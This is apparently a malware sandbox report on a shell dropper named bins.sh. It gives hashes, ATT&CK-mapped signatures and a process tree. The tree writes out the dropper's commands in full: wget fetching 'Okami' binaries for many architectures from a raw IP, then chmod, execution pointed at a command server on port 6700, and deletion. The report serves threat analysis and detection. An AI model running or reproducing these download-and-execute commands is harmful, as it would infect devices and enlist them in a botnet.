bf2549291776de2b7b1ed3f4ebe62ffb0551d0527543db8bd4207b7844b4c7cc

Analysis

max time kernel
149s
max time network
137s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/08/2026, 07:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 2KB
Sample260830-h16eeazbnb
SHA256 bf2549291776de2b7b1ed3f4ebe62ffb0551d0527543db8bd4207b7844b4c7cc
MD5 2f7ab08de34e17d0b07be198bbd7201a
SHA1 7339d80f45c9c9402addfbcf8ffcfb94f949d06e
SHA512 24e38898e70526e908be8ef77ea8c95851691c4c4439fbdf496bc33e3bab833abd414deb6fd5f47633920fe173ec62cfaac46b52318226df9fb164d69e91f6a0
TLSH
T1E45162D620E328717CA8E41BB36D4C123489E09F1CB5AF04ADFDB8F5C1ACD59A758A53
MD5 SHA1 SHA512 TLSH

Score

7^/10

credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod
775	chmod
783	chmod
808	chmod
814	chmod
826	chmod
697	chmod
734	chmod
788	chmod
793	chmod
798	chmod
803	chmod
820	chmod
680	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/Okami.mips	681	bins.sh

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	Okami.arm6

Reads process memory 1 TTPs 7 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/781/maps	Okami.arm6
File opened for reading	/proc/573/maps	Okami.arm6
File opened for reading	/proc/588/maps	Okami.arm6
File opened for reading	/proc/638/maps	Okami.arm6
File opened for reading	/proc/651/maps	Okami.arm6
File opened for reading	/proc/669/maps	Okami.arm6
File opened for reading	/proc/779/maps	Okami.arm6

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	29v7xobk5fd	779	Okami.arm6

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	Okami.arm6

Reads runtime system information 31 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/645/comm	Okami.arm6
File opened for reading	/proc/669/cmdline	Okami.arm6
File opened for reading	/proc/833/comm	Okami.arm6
File opened for reading	/proc/851/comm	Okami.arm6
File opened for reading	/proc/847/comm	Okami.arm6
File opened for reading	/proc/855/comm	Okami.arm6
File opened for reading	/proc/588/comm	Okami.arm6
File opened for reading	/proc/853/comm	Okami.arm6
File opened for reading	/proc/638/cmdline	Okami.arm6
File opened for reading	/proc/651/cmdline	Okami.arm6
File opened for reading	/proc/781/cmdline	Okami.arm6
File opened for reading	/proc/857/comm	Okami.arm6
File opened for reading	/proc/588/cmdline	Okami.arm6
File opened for reading	/proc/638/comm	Okami.arm6
File opened for reading	/proc/669/comm	Okami.arm6
File opened for reading	/proc/779/cmdline	Okami.arm6
File opened for reading	/proc/781/comm	Okami.arm6
File opened for reading	/proc/651/comm	Okami.arm6
File opened for reading	/proc/779/comm	Okami.arm6
File opened for reading	/proc/831/comm	Okami.arm6
File opened for reading	/proc/840/comm	Okami.arm6
File opened for reading	/proc/843/comm	Okami.arm6
File opened for reading	/proc/859/comm	Okami.arm6
File opened for reading	/proc/573/cmdline	Okami.arm6
File opened for reading	/proc/592/comm	Okami.arm6
File opened for reading	/proc/845/comm	Okami.arm6
File opened for reading	/proc/573/comm	Okami.arm6
File opened for reading	/proc/593/comm	Okami.arm6
File opened for reading	/proc/838/comm	Okami.arm6
File opened for reading	/proc/849/comm	Okami.arm6
File opened for reading	/proc/587/comm	Okami.arm6

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
657	wget
683	rm

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Okami.i686	wget
File opened for modification	/tmp/.okami.lock	Okami.arm5
File opened for modification	/tmp/Okami.mpsl	wget
File opened for modification	/tmp/.okami.lock	Okami.arm6
File opened for modification	/tmp/Okami.i586	wget
File opened for modification	/tmp/Okami.m68k	wget
File opened for modification	/tmp/Okami.arm7	wget
File opened for modification	/tmp/Okami.ppc440	wget
File opened for modification	/tmp/.okami_key	Okami.arm6
File opened for modification	/tmp/Okami.ppc	wget
File opened for modification	/tmp/Okami.sparc	wget
File opened for modification	/tmp/Okami.arm5	wget
File opened for modification	/tmp/Okami.sh4	wget
File opened for modification	/tmp/Okami.arm6	wget
File opened for modification	/tmp/.okami_token	Okami.arm6
File opened for modification	/tmp/Okami.arm4	wget
File opened for modification	/tmp/.okami.lock	Okami.arm4
File opened for modification	/tmp/.okami.lock	Okami.arm7
File opened for modification	/tmp/Okami.mips	wget
File opened for modification	/tmp/Okami.x86	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:651
- /usr/bin/wget
  wget http://190.123.46.208/Okami.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:657
- /bin/chmod
  chmod +x Okami.mips
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/Okami.mips
  ./Okami.mips -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:681
- /bin/rm
  rm -rf Okami.mips
  2⤵
  - System Network Configuration Discovery
  PID:683
- /usr/bin/wget
  wget http://190.123.46.208/Okami.mpsl
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod +x Okami.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/Okami.mpsl
  ./Okami.mpsl -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:699
- /bin/rm
  rm -rf Okami.mpsl
  2⤵
  PID:702
- /usr/bin/wget
  wget http://190.123.46.208/Okami.sh4
  2⤵
  - Writes file to tmp directory
  PID:703
- /bin/chmod
  chmod +x Okami.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/Okami.sh4
  ./Okami.sh4 -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:736
- /bin/rm
  rm -rf Okami.sh4
  2⤵
  PID:738
- /usr/bin/wget
  wget http://190.123.46.208/Okami.x86
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod +x Okami.x86
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/Okami.x86
  ./Okami.x86 -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:741
- /bin/rm
  rm -rf Okami.x86
  2⤵
  PID:743
- /usr/bin/wget
  wget http://190.123.46.208/Okami.arm6
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod +x Okami.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/Okami.arm6
  ./Okami.arm6 -d -W -J -s 190.123.46.208:6700
  2⤵
  - Enumerates active TCP sockets
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/rm
  rm -rf Okami.arm6
  2⤵
  PID:778
- /usr/bin/wget
  wget http://190.123.46.208/Okami.i686
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod +x Okami.i686
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/Okami.i686
  ./Okami.i686 -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:784
- /bin/rm
  rm -rf Okami.i686
  2⤵
  PID:786
- /usr/bin/wget
  wget http://190.123.46.208/Okami.ppc
  2⤵
  - Writes file to tmp directory
  PID:787
- /bin/chmod
  chmod +x Okami.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/Okami.ppc
  ./Okami.ppc -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:789
- /bin/rm
  rm -rf Okami.ppc
  2⤵
  PID:791
- /usr/bin/wget
  wget http://190.123.46.208/Okami.i586
  2⤵
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod +x Okami.i586
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/Okami.i586
  ./Okami.i586 -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:794
- /bin/rm
  rm -rf Okami.i586
  2⤵
  PID:796
- /usr/bin/wget
  wget http://190.123.46.208/Okami.m68k
  2⤵
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod +x Okami.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/Okami.m68k
  ./Okami.m68k -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:799
- /bin/rm
  rm -rf Okami.m68k
  2⤵
  PID:801
- /usr/bin/wget
  wget http://190.123.46.208/Okami.sparc
  2⤵
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod +x Okami.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/Okami.sparc
  ./Okami.sparc -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:804
- /bin/rm
  rm -rf Okami.sparc
  2⤵
  PID:806
- /usr/bin/wget
  wget http://190.123.46.208/Okami.arm4
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod +x Okami.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/Okami.arm4
  ./Okami.arm4 -d -W -J -s 190.123.46.208:6700
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/rm
  rm -rf Okami.arm4
  2⤵
  PID:811
- /usr/bin/wget
  wget http://190.123.46.208/Okami.arm5
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod +x Okami.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/Okami.arm5
  ./Okami.arm5 -d -W -J -s 190.123.46.208:6700
  2⤵
  - Writes file to tmp directory
  PID:815
- /bin/rm
  rm -rf Okami.arm5
  2⤵
  PID:817
- /usr/bin/wget
  wget http://190.123.46.208/Okami.arm7
  2⤵
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod +x Okami.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/Okami.arm7
  ./Okami.arm7 -d -W -J -s 190.123.46.208:6700
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/rm
  rm -rf Okami.arm7
  2⤵
  PID:823
- /usr/bin/wget
  wget http://190.123.46.208/Okami.ppc440
  2⤵
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod +x Okami.ppc440
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/Okami.ppc440
  ./Okami.ppc440 -d -W -J -s 190.123.46.208:6700
  2⤵
  PID:827
- /bin/rm
  rm -rf Okami.ppc440
  2⤵
  PID:829

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.okami_key

Path /tmp/.okami_key
Size 32B
SHA256 88544409421e288206bc4fe0c5b5e36ec6db763a3a094640af617bb77f10d61f
MD5 f0f62e6d987097a31cc30478feff6ba8
SHA1 f3905a562d7ce304035fa2bb6e04f6c9a69c6d26
SHA512 e4f3dd29f0bdff850194e3b996d50ea34cb8f3c0c105fe7fe80b21b18104dafff0e3f267d6776dbfd0dae8764bd995e0041ef31e2d55d29c0f1d1ac843125d7c
MD5 SHA1 SHA512

Submit Download

.okami_token

Path /tmp/.okami_token
Size 32B
SHA256 2a5d0eb7f8e8c58fce8157dbc36686e18efdc509ae2e8e6cecca00241e286550
MD5 d073dadea42c8aec106cf06e1aa4ab8d
SHA1 aef1921a666e4019564afb414d97188d46dc62a3
SHA512 515cac8ab801416364337df3d72dbc39769ff6c1c731a3bfa605151b606065df7c1ba119baa47f3b955be3ac3db07637f28bfdabf9a4b0c50642abfed3f8fa63
MD5 SHA1 SHA512

Submit Download

Okami.mips

Path /tmp/Okami.mips
Size 123KB
SHA256 4ec89628125884c7d789399c5983e84bc3c986c7c19b1d9879d969cb238da224
MD5 7f00c49ff7d67b6fb5a050b4a448342d
SHA1 d80d08fa75c5cb633f7c9af05951629de7705999
SHA512 e0c80832e41c7d2896969b88b53827956e8b81595a36e6c399ee8669c60f1c9b3f9b9217b29e5d8398efadd43ec80b09df2dff3a50ecd9030509547769aa6da2
SSDEEP 3072:+Q9Oa61MSmGLgljTgaKniOM/p5dUkRi8Qo:Ea6uS/QEaJWkR/Qo
TLSH
T18BC3B9167E21DFBFF268C27047F38F309799769629E18684F19CD6481E3028E651F7A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads